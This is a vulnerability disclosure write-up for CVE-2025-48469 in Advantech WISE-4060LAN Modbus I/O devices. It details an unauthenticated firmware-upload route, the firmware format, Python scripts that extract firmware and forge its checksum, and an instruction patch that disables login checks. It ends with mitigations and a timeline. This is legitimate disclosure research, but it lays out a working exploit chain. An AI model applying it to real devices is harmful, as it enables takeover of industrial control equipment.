CVE-2025-48469: Advantech WISE-4060LAN Unauthenticated Firmware Upload
CVSS Score: 9.6 Critical (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Product overview
The Advantech WISE-4060LAN is a "4DI/4Relay Modbus Ethernet I/O" device. Basically, it is an IoT device that provides a web interface to administer and monitor another IoT device using Modbus.
Analysis and exploitation of this vulnerability was performed on firmware version A119B01
.
Vulnerability summary
The Advantech WISE-4060LAN (and similar WISE-4000 series devices) exposes a pair of web endpoints that allows an unauthenticated attacker to replace the firmware of the device. There is no cryptographic signature verification to prevent the installation of malicious firmware.
By modifying the function in the firmware responsible for validating the user's password, the attacker can completely bypass the authentication mechanism and thus gain admin privileges on the device.
Vulnerability details
During analysis of the HTTP route configuration table in the device firmware, two interesting routes were discovered:
GET /__dnldpage
: Route ID 52POST /file_xfer
: Route ID 47
The /__dnldpage
is accessible to unauthenticated users, and allows the user to upload a new firmware file for system recovery.

Once the user selects a firmware file, it is uploaded to the device via a POST request to /file_xfer
.
Normally, the /file_xfer
route requires authentication. However, when the __dnldpage
route is accessed, the global variable allow_unauth_firmware_upgrade
is set. This allows subsequent POST requests to /file_xfer
to proceed, even if the user is unauthenticated.
// main_request_handler, 0x255aa, 0x25c22
switch ( BYTE2(route_idx) ) {
// ...
case 52u: // handler for __dnldpage
v6->error_code = 0x2000;
allow_unauth_firmware_upgrade = 1;
v6->status2 &= ~0x10u;
*(_DWORD *)(v165 + 0x2002D868) = _dnldpage_html;
v33 = 12567;
goto LABEL_334;
// ...
}
// ...
auth_result = basic_auth_handler(a1, (unsigned __int16)v4, (int)v5);
if ( (auth_result & AUTH_SUCCESS) != 0 )
{
if ( BYTE2(route_idx) == 47 )
goto do_firmware_upgrade;
// ...
}
else
{
v81 = allow_unauth_firmware_upgrade == 1;
if ( allow_unauth_firmware_upgrade == 1 )
v81 = BYTE2(route_idx) == 47;
if ( !v81 )
goto LABEL_198;
do_firmware_upgrade:
// ...
}
If the firmware file is valid, the device will load the new firmware, and the user will be redirected back to the login page at /config
.
However, if the device detects that the firmware has been tampered with, it will be rejected.
Firmware format
Before we can install a modified firmware file, we need to understand the firmware file format - which seems to be custom-built and undocumented. The information in this section was obtained via analysis of the firmware validation functions invoked during firmware installation.
The firmware file consists of a header, followed by multiple embedded files.
struct __attribute__((packed)) header
{
char magic[4]; // EHFB
unsigned __int16 data_offset;
int padding;
unsigned __int16 num_files;
file_entry file_entries[];
};
struct file_entry
{
char name[16];
unsigned int file_length;
};
Embedded file data starts at offset data_offset + 8
. The first file is typically IMG.bin
, the arm
binary that runs the webserver and other functions of the device. Various CSS, HTML and JavaScript files are embedded after IMG.bin
. These files are compressed using gzip
and are purely for client-side use.
A Python script for extracting Advantech WISE firmware is provided below:
import sys
import gzip
import ctypes
import os
fn = sys.argv[1]
with open(fn, "rb") as f:
data = f.read()
fw = b"0000" + data
class File(ctypes.Structure):
_fields_ = [("name", ctypes.c_char * 0x10), ("size", ctypes.c_int)]
def read_int(off, l):
return int.from_bytes(fw[off : off + l], "little")
base_addr = read_int(8, 2)
num_files = read_int(0xE, 2)
cur = base_addr + 0xC
os.makedirs("./wise_out", exist_ok=True)
for i in range(num_files):
f = File.from_buffer_copy(fw, 0x10 + i * 0x14)
with open(f"./wise_out/{f.name.decode()}", "wb") as file:
file_data = fw[cur : cur + f.size]
if f.name == b"IMG.bin":
file.write(file_data)
else:
file.write(gzip.decompress(file_data))
cur += f.size
The IMG.bin
file is protected by a checksum to prevent the installation of corrupted firmware.
However, an attacker can easily replicate the checksum calculation by following the algorithm:
// install_firmware, 0x35b08
img_bin_size = get_imgbin(&img_bin);
if ( read_memory(img_bin + 512, 4, &checksum_addr) != 4 )
goto LABEL_51;
v0 = img_bin;
len = img_bin_size;
calculated_checksum = 0;
if ( read_memory(&img_bin[checksum_addr - 4], 4, &expected_checksum) != 4 )
goto LABEL_13;
v3 = buf;
while ( len )
{
if ( len < 0x101 )
len2 = len;
else
len2 = 256;
if ( read_memory(v0, len2, (int *)buf) != len2 )
goto LABEL_13;
v4 = buf;
v5 = len2;
do
{
v6 = (unsigned __int8)*v4++;
calculated_checksum += v6;
--v5;
}
while ( v5 );
v0 += len2;
len -= len2;
}
if ( calculated_checksum
- (unsigned __int8)expected_checksum
- BYTE1(expected_checksum)
- BYTE2(expected_checksum)
- HIBYTE(expected_checksum)
+ 0x3FC != expected_checksum )
{
LABEL_13:
fail();
return -2;
}
The checksum is literally a sum of all the bytes in IMG.bin
(with some inconsequential arithmetic sprinkled on top).
The expected value of the checksum is embedded within IMG.bin
itself (which is why each byte of the expected checksum is subtracted from the calculated checksum).
Here's the same algorithm translated to Python:
import sys
import ctypes
fn = sys.argv[1]
with open(fn, "rb") as f:
data = f.read()
fw = b"0000" + data
class File(ctypes.Structure):
_fields_ = [("name", ctypes.c_char*0x10), ("size", ctypes.c_int)]
def read_int(off, l):
return int.from_bytes(fw[off:off+l], 'little')
base_addr = read_int(8, 2)
num_files = read_int(0xe, 2)
img_bin_length = None
addr = base_addr + 0xc
for i in range(num_files):
f = File.from_buffer_copy(fw, 0x10 + i * 0x14)
if f.name == b"IMG.bin":
img_bin_length = f.size
break
addr += f.size
checksum_offset = read_int(addr + 0x200, 4)
checksum_address = checksum_offset + addr - 4
expected_check = read_int(checksum_address, 4)
total = sum(fw[addr:addr+img_bin_length])
check = total - sum(expected_check.to_bytes(4, 'little')) + 0x3fc
ok = check == expected_check
print(f"{expected_check=}, {check=}, {ok=}")
if "--patch" in sys.argv:
patched = fw[:checksum_address] + (check.to_bytes(4, 'little')) + fw[checksum_address+4:]
with open(fn, "wb") as f:
f.write(patched[4:])
Exploitation
Now that we can upload arbitrary firmware, the easiest way forward is to patch the binary to disable its authentication mechanism. We need to be very careful when patching the binary, as any invalid instruction or misaligned bytes will brick the device.
User authentication is performed in the check_auth_data
function (0x24ac8):
int check_auth_data(char *body, int len, void *seed_data, char *buffer)
{
// ...
*(_DWORD *)&user_idx = 0;
while ( 1 )
{
// compute user_data from stored password
md5sum(state, user_data, v17 + v16, data->expected_hash);
if ( !memcmp(input_buf, data->expected_hash, 16) )
break;
if ( ++*(_DWORD *)&user_idx >= 3u )
return 0;
}
return (unsigned __int8)(user_idx + 1);
}
The credentials supplied by the user is memcmp
ed against the hash of the stored password. If they match, the user's ID is returned.
Thus, we just need to patch the memcmp
call to always exit the loop. This can be done by replacing the CBNZ
instruction with a no-op MOV R0, R0
instruction:
00024B90 BL memcmp
00024B94 CBNZ R0, loc_24B9C ; Branch back to start of loop if not zero
00024B94 MOV R0, R0 ; Do nothing
00024B96 ADDS R0, R6, 1 ; R6 stores user_id, prepare to return
The patched firmware can be found here.
After installing the patched firmware, any username and password will be able to authenticate:
The firmware can be further patched to authenticate as other users or perform other actions.
Exploit conditions
Any unauthenticated attacker with network access to the WISE 4060 device can exploit this vulnerability.
Mitigations
No changes to the firmware have been made to address this vulnerability.
Instead, according to the advisory:
These vulnerabilities can be mitigated by enabling the Security Mode, an existing configuration feature available in previous firmware versions.
Security Mode restricts access to unsecured web interfaces and disables unnecessary services to reduce attack surfaces.
Users and administrators of affected products are strongly advised to enable Security Mode immediately after configuration.
Timeline
- 2024-08-08: Report submitted to SpiritCyber IoT Hackathon triage team
- 2024-08-17: Report accepted by triage team
- ???
- 2025-06-17: CSA SingCert assigns CVE-2025-48469
- 2025-06-24: Public disclosure